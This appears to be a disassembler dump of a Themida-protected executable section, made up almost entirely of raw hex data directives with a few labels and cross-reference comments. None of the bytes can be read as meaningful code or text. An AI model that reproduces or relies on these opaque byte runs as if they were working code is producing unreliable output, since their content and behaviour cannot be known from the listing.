XREF: Themida_:0059806Do align 4 dd 7C59F37Ah, 8 dup(0) dd 4DFE900h, 0BB680000h, 0E907EB11h, 0FFF96D2Bh, 0EB124E68h dd 6D21E907h, 0F668FFF9h, 0E907EB13h, 0FFF96D17h, 0AD41633Bh dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A9B0956Ah dd 6DFC4113h, 0B9923092h, 0A0492E99h, 9C051442h, 7995708Ah dd 7E967341h, 0EAC4CBEAh, 8B9F1D9Ah, 84ED13A6h, 8CDC9F4Ch dd 5A6B13A6h, 0E58D722Ah, 594AD877h, 6A000003h, 63E0EFCCh dd 13A6809Ch, 4078D13Ah, 217A9872h, 0F4923A0Fh, 589BFB1Bh dd 0D9D187E1h, 64A2CDDFh, 0ADFDB1DEh, 0A6836230h, 0BEC73013h dd 0C3FDB1B3h, 866200EEh, 0D99346Ch, 0DF021434h, 31AEFEB0h dd 16EF03D3h, 290038A1h, 7BF84866h, 1E8B3F5Ch, 0D371C12Ah dd 8A3DBF9h, 18B618F6h, 0F40E203Eh, 556BFF17h, 0E30C6078h dd 745CEF75h, 358AE34h, 39110000h, 946D8317h, 0EECAE074h dd 4B2A40D4h, 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h dd 0BF536947h, 20B4CCA9h, 0BB40BD6Dh, 1713A9B1h, 424D43D2h dd 7D9F1C6Ch, 1313A9B0h, 0B14136B3h, 910E13A9h, 13A9B1EAh dd 45AEFF68h, 9C3A9CECh, 13BA1BEh dword_5F3698 dd 64257876h, 8AA27F0Bh, 67835E78h, 805BF9D3h, 7F912C64h ; DATA XREF: Themida_:0058261Co dd 366E8A65h, 56830989h, 0E3BE5CECh, 94F48FC7h, 98D55EB4h dd 163042F5h, 0EE101A39h, 5115D73Dh, 0A955A4F8h, 0D6166A15h dd 2C550h, 0AACCA400h, 7270016h, 67815D73h, 0CADEBDD3h dd 29452036h, 1D36BC95h, 7C922642h, 0DAF084A2h, 3C52E6FCh dd 0B3475Fh, 0B22CD350h, 65AA13A9h, 75424DD6h, 42A003F8h dd 9DB99414h, 3A8AE34Ch, 0A9B063BDh, 53D03213h, 13A9B1ACh dd 0D0AFC12Ah, 0F9822F67h, 1A13A9B1h, 1CEA2240h, 8DF1293Dh dd 0C41C5410h, 34CBF3B3h, 0A1D8710Ch, 1E4h, 1DE25FC1h dd 0B913A9B9h, 56693E50h, 5B296179h, 0B416667Eh, 0E71F3B16h dd 0A01AE14Ch, 0A27D1442h, 0BACC3586h, 4320BE98h, 99F6192Bh dd 0C563C515h, 6742CEEAh, 4E40394Bh, 513A6B3h, 69974A93h dd 0A6F64B24h, 0A69A5229h, 85970013h, 142E0AA6h, 25D683BBh dd 0A213A69Ah, 56A9D591h, 7FD877E3h, 3Fh, 0E22019Fh, 209227FCh dd 94A69C6Dh, 98AFD9F1h, 77C8C35Ah, 0A6E90C1Eh, 753BB808h dd 4313A67Ah, 7210A2DAh, 736C7E94h, 13A67C88h, 46762E3Fh dd 0D87735B9h, 0E91Eh, 0C6A03E00h, 56C196A8h, 5B296179h dd 9A2C6480h, 0F5071FFCh, 0AEE6FEDBh, 0DCB803E0h, 7B1969C2h dd 5173859Fh, 42A47D5Ch, 0C89C0E14h, 0F78C09A1h, 63144287h dd 9EFE9AFAh, 9E65E232h, 3C1442C8h, 0CAA7C1D3h, 90FF1EB2h dd 5230CE1Eh, 0BBD3B03Ch, 0F8D6E883h, 0A42FDD7Bh, 0F242AB13h dd 0F06C1390h, 0FDB13A5h, 3680BEF5h, 3042ABFCh, 0BDD9B452h dd 0D9F3CF6Dh, 0DFF5D3A1h, 3C527486h, 84C83E61h, 0A5EF323Dh dd 64C4AD7Ah, 48D42E0Ch, 7E19516Dh, 0BA32D125h, 0D4D6A19h dd 11D87h, 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh dd 0D1EDC8DEh, 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h dd 0A85BEF07h, 0B3847BF8h, 0D5213A9h, 5F7B567Eh, 0C9D8B5CBh dd 42A0B74Ch, 61BA2314h, 7F957311h, 3A1D031Fh, 0C9DB4D67h dd 7956D6A7h, 0A016ED6Ah, 2BB51442h, 7E9E8E22h, 0F4CD69BAh dd 0EA227BD4h, 93273F1Ch, 0CAFF47B9h, 2D9F686h, 0ECC2CDF0h dd 0CF0F2A9Ch, 0D8385630h, 64F06240h, 9D387086h, 0A830AD8Bh dd 0EA13A6BDh, 0B8933181h, 6813089Ch, 0AB13A602h, 0C22B6CEh dd 27C51531h, 5EF9314Bh, 7300864Ch, 8F000000h, 1C6C424Dh dd 24DB58BAh, 0B21442A0h, 203E3749h, 0AE13A9B0h, 623F0D45h dd 0B121D653h, 44AD13A9h, 644157EBh, 6D5CEA45h, 94ED4313h dd 9E65E244h, 3C13A910h, 4EFBC1D3h, 681BF600h, 95C480FDh dd 37C1B633h, 248D97DCh, 31BF812h, 647C596Fh, 22FC9A2Ch dd 1F31CC04h, 3DF2605h, 0A15890E9h, 0C6A39ACAh, 27041AAEh dd 351D70Fh, 0E0000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h dd 9B74427Ah, 68EE437Bh, 4F34h, 68240489h, 2DB0h, 68241C89h dd 679h, 50240489h, 7D6043B8h, 47E4355Ch, 662D34E3h, 254DDB06h dd 56E565C3h, 2A31A435h, 0C6895615h, 585EF389h, 24048B54h dd 5204C483h, 8BAh, 89C20100h, 24148B1Ah, 0FF04C483h, 81582434h dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF9685Bh, 69855C3Eh dd 1538B82Dh, 0C50307EBh, 0B63AE0FFh, 54F339DBh, 14267C59h dd 8E653560h, 74F25AFh, 15D35765h, 0EA384A66h, 0D3325452h dd 18973EBDh, 0B42A246Eh, 0BE87DDBh, 0C7000000h, 0B054E63Dh dd 91E2D64Ah, 5BF5E84Ch, 0EE9h, 3E32A900h, 25CCEAACh, 0F747CEA4h dd 811A4D82h, 6199C3h, 0B70F5000h, 40685ED0h, 66000018h dd 59C286BAh, 9E960h, 0BEA50000h, 0C6BC640Ch, 81DBF0BAh dd 0C9AFA3CEh, 33FF6158h, 0CEF6CE81h, 81581BDCh, 0B3FF74C6h dd 0C0C08179h, 81134BB7h, 0C4BFC6C0h, 0F18B6666h, 0AD66E881h dd 0C78149A8h, 6E278FB4h, 0CA816650h, 38F000Bh, 6E8h, 0F00BA200h dd 5F9FF202h, 6604EB83h, 0E981F98Bh, 1, 0FFB0850Fh, 0FB8BFFFFh dd 17088D8Dh, 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 2FA5F7C3h, 68E0Fh, 0C8810000h, 6C93D61Dh dd 1B718D89h, 8BF907E4h, 0E42C51B5h, 0A185C707h, 0B407E42Dh dd 0C700006Ah, 0E422B985h, 7, 0D5B5FF00h, 0FF07E402h, 0E4306195h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 9CB46D18h, 0C08166A2h, 0C7811784h, 96860C2h dd 95FF006Ah, 7E40E41h, 59EBC08Bh, 3330B548h, 5C448089h dd 86F72B8Bh, 0C8D1DFEBh, 50369DA8h, 89B17D99h, 0FC86FE46h dd 80C6F273h, 0C9CCCEDBh, 36B25B43h, 64432DFh, 9952C624h dd 2E95F5CFh, 8AFB16Bh, 7A61EDFCh, 0D4B4A57Ah, 0F7A88248h dd 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h, 0A6C2E97Eh dd 24E944h, 32B80000h, 35B0h, 7 dup(0) dd 2DE90000h, 0EA000005h, 465CF012h, 0A3B94D6Dh, 319ADC7h dd 667C1024h, 2DB6F8Bh, 6C8863FCh, 0CAE8C2D8h, 2C422036h dd 8DA58298h, 199646F9h, 13A9B762h, 921CABF0h, 0A0CCB330h dd 218A1442h, 18F50Fh, 0BB9836C8h, 41799570h, 213B4DA6h dd 80962A46h, 85538BA3h, 0C65890A8h, 30F58F54h, 75874227h dd 2A62825Bh, 0C09608C6h, 6E3EE530h, 2D59F608h, 0A93D5532h dd 385831CFh, 10946BE8h, 0D9421442h, 0B9CFADC7h, 1B310F25h dd 1D3B15E3h, 2F572EE5h, 0EC3C5230h, 4923744Eh, 0FF58F32Bh dd 5FDC2CC7h, 14421098h, 99BBCD36h, 3E8EA683h, 10985FDCh dd 0CD361442h, 0B648F5BBh, 0E1144210h, 0E4B2EA06h, 8962EE08h dd 2BF23169h, 7835377Bh, 616F90CCh, 5968E05Bh, 88000000h dd 1CD2A926h, 17801442h, 8395AF8Bh, 617956AEh, 20F99729h dd 8F5EE00h, 191442A0h, 8B74285Ch, 4CE05C11h, 0Ah, 0AF7AFA6Ch dd 4FE98167h, 7D56683Dh, 7E57255Dh, 6D13C657h, 0B64028Ah dd 122605D3h, 4DF976DAh, 45D9F9D2h, 0A63A522Fh, 37532ECCh dd 7D5264FFh, 0FF17F492h, 1A2CC7h, 3D10925h, 1CBA0A2Ah dd 0C6C7273Fh, 65B84DC3h, 0AC7A4052h, 0B17FB7CFh, 0B583BBD5h dd 0E984BCDCh, 561A4AC7h, 0D8B2505Ah, 5B0BA8BAh, 8BA78220h dd 4E2CB853h, 310C2638h, 8E6B8115h, 0AA882676h, 0B08E5C94h dd 692F419Ah, 5FBA65D7h, 0A8FCAE7Dh, 53A07C96h, 0CD055E76h dd 3A622233h, 0E05B6BF5h, 4F6945E3h, 719E3Dh, 56C70000h dd 59275F7Bh, 0C72B637Dh, 48231A4Ah, 0A782982Ch, 7607E58h dd 0E2201CFh, 7B2B3CD6h, 5C0FEC43h, 6C29E0h, 0E7490000h dd 42AA956Ah, 0C7A54114h, 85DE79B1h, 7B569E73h, 3395275Fh dd 42A0C1B6h, 12248D14h, 0CC041AF8h, 0CD0525FEh, 0D00824FFh dd 100C2602h, 0B4531F47h, 0E8847EF0h, 55706379h, 5C4079F5h dd 0AABC9104h, 0BE6590Dh, 568A5BEFh, 364C2A7Dh, 0D20A63FEh dd 42A05B25h, 0DB8B4814h, 0D2502A0h, 4D283AD5h, 0E05C11B2h dd 123h, 30924C00h, 42A0CCB3h, 0F218A14h, 0C7FF19F5h, 0CC041CF9h dd 17063E15h, 2B1A1A3Bh, 0A9D91B47h, 0F29DBC50h, 0B9EF6CBCh dd 7713A60Fh, 0D244D60Eh, 75C52528h, 0D3EDFF19h, 0F08EDEF6h dd 9671FD11h, 6C46687Ah, 0C9DBEFCEh, 6ABAD2AFh, 0C5D7EFCCh dd 0B4FB6DFFh, 0AD8CA3B7h, 516946D2h, 736C7E19h, 13A6798Ah dd 50CF77FAh, 0B1C75B73h, 0B684BCD4h, 0BB89C1D9h, 0C18FC7DDh dd 294CCE4h, 0A679FE85h, 0F6F35C13h, 3F3B772Fh, 71B89735h dd 0E71F7898h, 0E99D3A4Ch, 714E9976h, 956C0059h, 0D877386Ah dd 97B38E2Ch, 13B2C45Fh, 160h, 6C424D3Ch, 0BEFD9F1Ch, 2A9313A6h dd 81FE60F2h, 13A6BFFAh, 0C3DDEF58h, 0A6BE9BE6h, 0F146CC6Eh dd 4A109CD7h, 0EE0498F1h, 0F3C1F911h, 8F690716h, 40710671h dd 74DD13A6h, 3B15E31Bh, 3A17E51Dh, 8609EA22h, 0CD9692DEh dd 0AAC9A699h, 0DB0201B5h, 47AFD82Ah, 9402E458h, 0B6D6AF3Bh dd 0DF2C95Dh, 0CAD87795h, 89h, 73444DF3h, 42A001F6h, 0F06DCD14h dd 1442A00Bh, 0AC055EC7h, 7D5CFA5Ch, 795E5769h, 156BBD5Fh dd 70E274ACh, 23013E54h, 0DA3AD50Dh, 8CCA1A1Dh, 1159194Eh dd 2720328Bh, 94429850h, 0A0DB8B52h, 985FDC3Eh, 36944298h dd 989D62CDh, 0D0399442h, 0B8F69BBEh, 4548F668h, 4FD3F52Dh dd 0FDE25F3Dh, 99EBBDF3h, 4525EA29h, 425833C8h, 0D6369F14h dd 94ED0741h, 7E3200h, 46B80000h, 83AF222Ah, 7C55E190h dd 7789245Ch, 6C424DA2h, 0B9F59F1Ch, 329B13A6h, 7C0380E2h dd 0DA13A6BAh, 0D6E51171h, 0CF1CCF00h, 4C29F7BDh, 0AD8AA034h dd 30B05D95h, 3413A601h, 0D9F9D270h, 37A2AC7h, 5B7A0E26h dd 0C82A7A34h, 0FE364C2Ah, 0CC585163h, 96144D15h, 4A27F52Dh dd 6C43FA32h, 0A40F8138h, 0C154BBA8h, 0FA95B8CAh, 94F264B4h dd 66A671EAh, 1B987688h, 1C66E20Bh, 8B5CF059h, 1C6C424Dh dd 0A9B7B79Fh, 3C74DD13h, 0E579916Eh, 75936D0Bh, 7690A23Dh dd 9C498199h, 21F29749h, 0A49BCB48h, 51BAFC7h, 46D81028h dd 0B65815D4h, 77F4107Fh, 2E04F080h, 7A8CE54Eh, 356D8160h dd 39718B67h, 6841906Bh, 0B7EF48h, 0C0357D29h, 9CFEBDE9h dd 4F0581Fh, 7B8DF62Eh, 1C6C8461h, 538B9F7Eh, 1A5358B8h dd 0D8C9E0FCh, 0B18EA4C6h, 0E5E25A2h, 93FC2E04h, 37C023Ah dd 0B000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h dd 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h, 9B74427Ah dd 83EE437Bh, 1C8904ECh, 5E406824h, 0C890000h, 447F6824h dd 1C890000h, 94BA5224h, 5207EB17h, 8B545A59h, 0C481241Ch dd 4, 1B5668h, 240C8900h, 0FF08438Fh, 835B2434h, 34FF04C4h dd 0C4835924h, 613DE904h, 0FB82FFF9h, 0EB1C78B8h, 0FFC50307h dd 0D021FDE0h, 866B7B52h, 0DD3AF077h, 231B1209h, 0BF240B3Eh dd 687A003Bh, 935E6703h, 6B141A02h, 0A4E2A510h, 701C141Fh dd 6123D62Ah, 3FC45Dh, 1E919443h, 0A594E112h, 6B516D7Eh dd 9DE38334h, 0B315F71Fh, 0FCF04E0Fh, 0D28D8D56h, 6A07EB1Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0C7ABC353h, 8166C3F8h, 0F57D8E2h, 8D89D8BFh dd 7E41B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 34C35141h, 85C7F8A3h, 7E42DA1h, 5B80h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DAC35545h, 0C76A38DBh dd 0E422B985h, 7, 11E900h, 863E0000h, 2915B93Ch, 0DA2A9865h dd 6CB4FD50h, 0B8873931h, 5593A320h, 0E15B5FFh, 816607E4h dd 89F787F2h, 0E43171B5h, 6195FF07h, 0F07E430h, 6ADBB7h dd 0E4195FFh db 0E4h byte_5F425D db 7, 8Bh, 0C0h ; DATA XREF: Themida_:00584A84o dd 30C5EEBh, 6705B597h, 0F3A68B49h, 8DB98452h, 4E6EE657h dd 0C2BC00FAh, 0DF979DFBh, 0E5CE52EDh, 51A59968h, 0F7625DE4h dd 4DC37C37h, 64DE0831h, 89344936h, 0D7130203h, 7CF0C5EAh dd 0EC157A4Ah, 2F3BAA72h, 6CBB1A85h, 80141FCEh, 0A80D5319h dd 0F4BA0268h, 267E44EAh, 327264DAh, 0FA4F9659h, 9E8h dd 8ABF5200h, 0D3259552h, 8D29B92Eh, 7E40185h, 0C985295Eh dd 8107E41Ch, 7180C6h, 1DBD8900h, 3307E409h, 161C8BD2h dd 5810Fh, 81660000h, 81E31FF0h, 464456F3h, 0AAC3815Fh dd 8B7182D1h, 0E42D598Dh, 0E7F38107h, 8914F510h, 0E422F585h dd 161C8907h, 2A6EBF66h, 0ED2DE181h, 0EA8354DBh, 0DE904h dd 80830000h, 0EB6B18FEh, 0B96020C2h, 812E0DB1h, 0FF8F2CFAh dd 16850FFFh, 89000000h, 0E416618Dh, 27E907h, 787D0000h dd 80AB6807h, 589B2216h, 32B05079h, 0FF87E959h, 5853FFFFh dd 46364B41h, 61676DDDh, 0C3754C6Ch, 98E1694h, 0EE89Bh dd 9FCB0000h, 0F84F8498h, 5935453Bh, 902F20D7h, 0B0D88166h dd 0F525FB5h, 685h, 0FCF28100h, 5869D9ACh, 6220C781h, 81660000h dd 33F4AAC2h, 0FFA4B1DBh, 858B3B34h, 7E41F21h, 0EE81F95Eh dd 535FD9AFh, 81C38B66h, 0BEB056C6h, 0F681F53Eh, 15FC95EEh dd 2F71858Bh, 605607E4h, 0CE9h, 46FC4B00h, 0ACA562CBh dd 0CDD457FBh, 0B1B9665Dh, 48F6108h, 13E91Fh, 0AAC00000h dd 3458F021h, 8B1B090Eh, 5C339578h, 0FF42A668h, 0FBCA81D2h dd 8151EDD1h, 6BD4EBEBh, 38C0F17h, 0F000000h, 0C381D0B7h dd 176BD4E7h, 14DD852Bh, 0FB8107E4h, 0FFFF9EACh, 0FF79850Fh dd 13E9FFFFh, 0F2000000h, 0D1E09FA3h, 2733A64Bh, 0C5FC20CEh dd 0E00F04D2h, 8D8DB761h, 7EB2072h, 3DE8D8BBh, 718D8975h dd 6A07E41Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0BB1C352h, 29C55D59h, 85C7CFF5h dd 7E42DA1h, 5808h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0D1C35646h, 0F9A380BEh, 0FD8D9BEh, 0B985C727h dd 7E422h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 47A5C356h, 12C9858Bh, 0B5FF07E4h dd 7E42BF1h, 0E3D950Bh, 95FF07E4h, 7E43061h, 8B08B660h dd 0E42241BDh, 6A6107h, 0E4195FFh, 0C08B07E4h, 0F0161AEBh dd 717052A7h, 568E2D5Dh, 53856EBFh, 51A10BF9h, 0EE2B14E8h dd 6530176Fh, 21628D8Dh, 6A07EBh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 896564C3h, 0E41B718Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0DEA71C28h, 0DC8C2C49h, 68A0Fh, 0BD890000h dd 7E407BDh, 2DA185C7h, 5CC007E4h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F1ABF7C3h dd 2E96C670h, 85C7D166h, 7E422B9h, 0 dd 0C8BF6652h, 0B5FF5B9Ch, 7E41581h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 9CC35040h, 306195FFh, 8B0F07E4h dd 6, 20958529h, 6A07E4h, 0E4195FFh, 0C08B07E4h, 84FA7CEBh dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 0C4FE940Bh, 2BE909FCh dd 76E00EADh, 99283625h, 19E5F9E5h, 8E1DB34Eh, 1B4B94C6h dd 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh, 5899C50Dh dd 44556317h, 47F39113h, 0B3AC7D82h, 928BA51Bh, 0A169A1B3h dd 0FCDB5EC7h, 304CD976h, 0A731D200h, 0C1F284DDh, 0FF02776Eh dd 0ABD99F92h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh, 87CAE560h dd 8D8DDC98h, 7EB22D8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 73C35242h, 0FBD4A51h, 8D89F7B7h, 7E41B71h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AC35242h dd 6081643Fh, 0BADFB70Fh, 3EC6698Bh, 0AD958B61h, 0C707E416h dd 0E42DA185h, 722C07h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 76A0668Fh, 0D58080E5h dd 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 1298BDC3h, 0FF3F4923h dd 0E41D5DB5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 995D45h, 8D01AAE5h, 7E4180Dh dd 306195FFh, 958907E4h, 7E42245h, 95FF006Ah db 41h, 0Eh, 0E4h byte_5F4763 db 7 ; DATA XREF: Themida_:00583C98o dd 5BEBC08Bh, 5D94C0E8h, 4C35F612h, 0D2D8D54Ch, 0E6AD53B9h dd 74CE5304h, 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h dd 95032A53h, 0F63DD78Ch, 3CDB9E6Eh, 7BD98F3Ch, 0A1D7905Ch dd 82008065h, 4D9AA630h, 0F37AE022h, 0DD3B2E6h, 723A1628h dd 9DCABB38h, 0DBA38E90h, 3250583h, 0E875C2BEh, 5, 7BC34202h dd 0CE80Eh, 0CD390000h, 0D4A7C270h, 0BCEDF91Dh, 0BE995B9h dd 8000000h, 0F9B3EA7Dh, 873FE3ABh, 5A597577h, 0C281F18Bh dd 75B7h, 2BFA8B66h, 0E38160C0h, 3C47507Dh, 255B58Bh, 8B6107E4h dd 0EB81021Ch, 61DDF62Bh, 21C5BD8Bh, 0EB8107E4h, 4A197CA6h dd 81ADE180h, 39F893EBh, 32F1817Ah, 8940A1C4h, 0B58B021Ch dd 7E41F8Dh, 0ADA4B966h, 8B04E883h, 10F881F9h, 0FFFFF8Bh dd 1E85h, 21BD2900h, 0E907E423h, 3Bh, 0DC27E18Eh, 0A5B2584Eh dd 55E297Ch, 7E3C7D92h, 0E91B04EEh, 14h, 92F366F0h, 5FE9256Bh dd 1C21271h, 0F2230DE4h, 329B6C16h, 0FFFF82E9h, 0D23DDBFFh dd 1CDDAF2Ch, 8DD99A4Ah, 0EB24CD8Dh, 9F26BE07h, 8D896799h dd 7E41B71h, 95D8D89h, 85C707E4h, 7E42DA1h, 71ECh, 0C6E0F8BFh dd 0B985C775h, 7E422h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3ADCC356h dd 215D1D50h, 6503D21h, 11E8h, 70BC2E00h, 1C0242BBh, 9AF8C881h dd 0F008036Fh, 11E9BAF9h, 23000000h, 78D04613h, 0B6376160h dd 0AB890CD9h, 0B1A24753h, 0BB665058h, 895F5E92h, 0E4166DBDh dd 59B5FF07h, 8B07E40Ah, 6195FFF3h, 6A07E430h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8B2AC356h, 0E4054595h, 0FF006A07h, 0E40E4195h dword_5F4958 dd 0EBC08B07h, 2F68AB38h, 0A8A40F88h, 7CC86599h, 0BC08EFE2h ; DATA XREF: Themida_:00582DE8o dd 0E74DD18Ah, 3D36E0CEh, 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh dd 9ADFC48h, 992E7378h, 492FCFF3h, 0AC3008C3h, 0FC88B654h dd 13E86Dh, 160000h, 0FCF60BB8h, 3EE39C43h, 30D6E853h dd 0AF7771AAh, 0F38B5B3Eh, 628EC381h, 0B90000h, 51000000h dd 31B1BD89h, 0FF5F07E4h, 95331934h, 7E40B25h, 0B0C78158h dd 8127C718h, 0F9BA25C0h, 0D98D894Bh, 8107E418h, 0E872FAC0h dd 8E955h, 0A4CE0000h, 0ED925579h, 0E88109A7h, 7348D235h dd 0EE9B58Bh, 48907E4h, 0C860F0Bh, 0F000000h, 68Bh, 0D1850900h dd 0E907E41Bh, 14h, 0EED9B8CEh, 0F4673A6Dh, 402B2601h dd 0FAF6E1AFh, 0C1CAA718h, 104E983h, 0E412DD85h, 18F98107h dd 0FFFFF9Eh, 0FFFF8285h, 0F3B70FFFh, 14E8h, 0FC132100h dd 0BC59B84Eh, 0F76AAEE5h, 3ED6BEAFh, 81564868h, 7680BB42h dd 575E2CF5h, 9A72BA66h, 8DC6815Bh, 8000005Bh, 0B1BFCED7h dd 66000016h, 8BD4F6BAh, 0C5C6B906h, 0F0811E6Eh, 33DF1339h dd 30659D8Bh, 0C08107E4h, 5E35FDB9h, 1AD59589h, 0E88107E4h dd 1845AC68h, 0DA98D89h, 895007E4h, 0E4185195h, 0F068F07h dd 686h, 0E59D8B00h, 8307E41Ah, 0E95702EEh, 11h, 89EDD51h dd 0E1534D85h, 2F10D72h, 0ABA1A5A9h, 4E4E5BEBh, 1EF83F8h dd 1C850Fh, 0B5890000h, 7E40DE5h, 29E9h, 0BC349600h, 952B7136h dd 4CE56A84h, 1FE4AB1Ch, 0E3815DEAh, 42E6DF18h, 0FFFF72E9h dd 7AE807FFh, 21AD642Bh, 84456851h, 0FE8A41Ah, 45000000h dd 0D3C4736Eh, 0E9823B5Fh, 0BC149BDEh, 830F4616h, 3, 5FDF8B66h dd 814DDF80h, 59D7C7h, 5870F00h, 0B9000000h, 5198FB84h dd 164868h, 0BD015E00h, 7E42ED9h, 97BB37FFh, 58171175h dd 0E881DDB3h, 6D898372h, 0BD0AE3B9h, 8EF0816Ch, 95E66C1h dd 0E40E3185h, 6DF08107h, 1128A4Eh, 0E416758Dh, 8B078907h dd 0E42A0595h, 2EF8307h, 2CD8D8Bh, 4F4F07E4h, 6E9h, 48A1B000h dd 8338E649h, 850F01EEh, 14h, 0DEC9B966h, 25E9h, 0AD1B3B00h dd 0E9CBA3FEh, 89788FF5h, 2659B501h, 8DE907E4h, 8DFFFFFFh dd 8BDA073Ah, 0B7743699h, 43E44F20h, 0DE8F144h, 73000000h dd 18FFC8AEh, 595365B2h, 59694915h, 13A19D2Bh, 0B75A07E4h dd 98C28154h, 8900005Fh, 0E424ED85h db 7, 0BEh, 0B1h byte_5F4BFF db 17h ; DATA XREF: Themida_:00583AF8o dd 81660000h, 0FF89A6CFh, 5259F832h, 5D5723BBh, 0C1815B08h dd 5B799D2Eh, 3DC08166h, 0FEE981C9h, 662D7FFDh, 81412DBFh dd 56CDBEF1h, 9E808h, 5C4D0000h, 0DA665922h, 89C41A24h dd 0E42A3195h, 89515807h, 0E42D3585h, 60028F07h, 0DE9h dd 4DF79800h, 0BDD876BDh, 0EEB39153h, 0BA668327h, 81614B3Dh dd 0D655E3EAh, 0A19D8949h, 8107E423h, 0D655DFC2h, 3D858B49h dd 8307E409h, 850F01EEh, 11h, 28E977B4h, 0DD000000h, 138DBDFAh dd 0CBD16008h, 75B589F7h, 0E907E403h, 0FFFFFF67h, 2594A8F9h dd 0A53B98FCh, 1053A66Bh, 779A70F5h db 8Eh, 98h, 0Dh byte_5F4CB3 db 42h ; DATA XREF: Themida_:0058482Co ; Themida_:00584EBCo dd 6A234ACh, 7AA27C24h, 0BF3BB37Dh, 2181D40Eh, 9083B42Ah dd 0D66F3025h, 0A7863025h, 0F68BC998h, 8D893022h, 848630B4h dd 6C478DA6h, 2E8637C1h, 9086B4A1h, 6503F625h, 6A81D409h dd 128634CDh, 4B517025h, 0C00D608Dh, 420D3401h, 25A274ACh dd 6933CF7Dh, 0C581D428h, 0C33697A0h, 9956CF22h, 2403F6D5h dd 0CA81D409h, 428634CDh, 63517025h, 0D40D608Dh, 480D3401h dd 20A274ACh, 0D333CF7Dh, 8481D40Bh, 633697A0h, 0C956CF22h dd 219689DDh, 986F3025h, 0EE863025h, 2488B52Ah, 19CF3025h dd 0F9033FECh, 6D79CFDAh, 42863028h, 6E61ADA8h, 953E37C1h dd 0B7863025h, 0C3BBDC6h, 9F81DB0Dh, 0E2AEC8A8h, 0A1948822h dd 8DADB615h, 4284D9E4h, 6A234ACh, 7AA27C24h, 0BF3BB37Dh dd 2181D40Eh, 9083B42Ah, 0D66F3025h, 83863025h, 0A4F305E9h dd 22B9h, 0DE800h, 0B9C80000h, 0E0BBDE89h, 0F880AD1Dh dd 0B81F0462h, 7533C722h, 6DC3815Bh, 66000066h, 33D513BAh dd 9DBD29F6h, 8B07E420h, 0E081330Ch, 0F78E839h, 49E4E981h dd 8D095A30h, 7E42099h, 3B5EE981h, 81662188h, 815F62C0h dd 79C95AE9h, 85953342h, 8907E403h, 0B589330Ch, 7E41EF9h dd 2649958Bh, 0EE8307E4h, 6880F01h, 9000000h, 0E401F5BDh dd 4E4E4E07h, 54FE81FCh, 0FFFFF9Ah, 2985h, 8E800h, 0D9C00000h dd 0F21421A6h, 0B8664731h, 0E95873DCh, 2Fh, 0B3B56E2h dd 6268088Bh, 2DF33794h, 152BF154h, 830F8BF3h, 3, 0E9D18B66h dd 0FFFFFF6Fh, 0D4B4A57Ah, 0F7A88248h, 311894DDh, 8DD6D36Dh dd 0EB2A5C8Dh, 28C0F07h, 52000000h, 9858958h, 8907E422h dd 0E41B718Dh, 85C7F907h, 7E42DA1h, 5A40h, 0B8E099BEh dd 0B985C710h, 7E422h, 23000000h, 0E41CE99Dh, 11B5FF07h dd 6A07E418h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0F7C9C357h, 0FAC23544h, 0C6BF0F0Ch dd 306195FFh, 41B207E4h, 95FF006Ah, 7E40E41h, 6FEBC08Bh dd 2E173DBEh, 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h dd 0B86D94D0h, 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h dd 8D640B96h, 6ACE9154h, 8D8ED297h, 0D96B3666h, 323E60AFh dd 537B966Dh, 17810597h, 0DA123962h, 2DDAD28h, 0B1DC605Dh dd 0A5A42A7Ah, 0BC640CBEh, 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h dd 6AE1DB69h, 1CFE9CD0h, 0E99B4FBDh, 23h, 58DCAE26h, 7 dup(0) dd 